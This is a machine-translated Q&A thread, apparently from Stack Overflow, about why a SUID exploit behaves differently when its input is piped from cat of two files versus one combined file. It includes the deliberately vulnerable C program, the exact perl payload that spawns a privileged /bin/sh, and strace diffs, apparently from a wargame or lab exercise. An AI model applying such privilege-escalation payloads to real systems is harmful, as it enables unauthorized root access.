2015-06-23 60 views
1

我正在利用一個SUID程序,在我提供了一個有效載荷後,產生了一個/ bin/sh shell,然後我將要執行的命令寫入一個名爲commandsFile的文件中,程序連接文件時出現奇怪的貓行爲

cat payload commandsFile | ./vulnProg 

這工作得很好。命令文件中的命令會立即執行,並且輸出將由新生成的sh shell顯示出來,並且在執行完所有命令後,sh終止,並回到我的bash提示符。

但是,如果我嘗試貓的一個簡單的變化......

cat payload commandsFile > combinedFile 
cat combinedFile | ./vulnProg 

...沒有命令現在執行。我回到了我的bash提示符,絕對沒有輸出。

我已經試過......

cat payload commandsFile | xxd 

cat payload commandsFile > combinedFile 
cat combinedFile | xxd 

,看看有什麼vulnProg是 「看」。它們絕對是一樣的,每一個字節,每一個換行字符的位置。我的問題是爲什麼第一個版本會工作,而第二個版本不會呢?兩者有什麼區別?

漏洞程序:

#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <stdio.h> 


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } 

void print(unsigned char *buf, int len) 
{ 
    int i; 

    printf("[ "); 
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n"); 
} 

int main() 
{ 
    unsigned char buf[512]; 
    unsigned char *ptr = buf + (sizeof(buf)/2); 
    unsigned int x; 

    while((x = getchar()) != EOF) { 
      switch(x) { 
        case '\n': print(buf, sizeof(buf)); continue; break; 
        case '\\': ptr--; break; 
        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; 
      } 
    } 
    printf("All done\n"); 
} 

我的精確有效載荷:

perl -e "print '\\\'x889192448" > /var/tmp/payload #move back ptr so that it starts with CA instead of FF which it initially contains. 
echo a >> /var/tmp/payload #so that e() is called which spawns the shell 

我commandsFile:

whoami 
date 
date 

一些有用的輸出:

$ sha1sum /var/tmp/combinedFile 
1a0ba5bbdf9709e3f317b10a928a91dd63195733 /var/tmp/combinedFile 

$ cat /var/tmp/payload /var/tmp/commands |sha1sum 
1a0ba5bbdf9709e3f317b10a928a91dd63195733 - 

另外:

$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null 
$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null 
$ diff /var/tmp/log1 /var/tmp/log2 

1c1 
< execve("/bin/cat", ["cat", "/var/tmp/payload", "/var/tmp/commands"], [/* 21 vars */]) = 0 
--- 
> execve("/bin/cat", ["cat", "/var/tmp/combinedFile"], [/* 21 vars */]) = 0 
29,30c29,30 
< open("/var/tmp/payload", O_RDONLY) = 3 
< fstat(3, {st_mode=S_IFREG|0664, st_size=889192450, ...}) = 0 
--- 
> open("/var/tmp/combinedFile", O_RDONLY) = 3 
> fstat(3, {st_mode=S_IFREG|0664, st_size=889192470, ...}) = 0 
27168,27176c27168,27169 
< read(3, "a\n", 65536)     = 2 
< write(1, "a\n", 2)      = 2 
< read(3, "", 65536)      = 0 
< close(3)        = 0 
< open("/var/tmp/commands", O_RDONLY)  = 3 
< fstat(3, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0 
< fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0 
< read(3, "whoami\ndate \ndate\n\n\n", 65536) = 20 
< write(1, "whoami\ndate \ndate\n\n\n", 20) = 20 
--- 
> read(3, "a\nwhoami\ndate \ndate\n\n\n", 65536) = 22 
> write(1, "a\nwhoami\ndate \ndate\n\n\n", 22) = 22 

但是我沒有得到這個輸出。有人可以解釋嗎?

+2

您可能希望提供有關「payload」和「commandsFile」中的內容的洞察,否則,我們仍在猜測。 –

+2

貓是臭名昭着的異想天開。 ;) – lcd047

+0

我的猜測是,在第一種情況下,兩個文件之間會有輸出流的沖刷,這可能會產生變化...沒有更多細節,很難說更多。 – mata

回答

1

假設數據真的是相同的(並且您的校驗和表明它們是),那麼它們的交付方式肯定有一些怪異現象?

我不能告訴你這是什麼,但我知道如何找出:使用strace來觀看系統調用cat在每種情況下。

strace -o log1 cat payload commandsFile > /dev/null 
strace -o log2 cat combinedFile > /dev/null 
diff log1 log2 

如果沒有顯示任何不同,那麼嘗試用類似的方法跟蹤vulnProg,或與管道,而不是重定向跟蹤cat

您也可以嘗試調高跟蹤詳細程度(請參閱strace --help)。

最後,如果一切都失敗了,請使用GDB執行vulnProg代碼。


編輯:你的痕跡

來看,很明顯的一個情況下,使用兩個write調用實現什麼其他做一個。這可能會對使用非阻塞讀取的編寫不佳的程序產生影響,但是您的程序看起來很好。

+0

我在編輯中包含了輸出。請檢查一下。我不理解。提前致謝。 – user257330

+0

恐怕我沒有看到任何可疑的東西(請參閱我的編輯)。你將不得不做更多的實驗並盯着結果。 – ams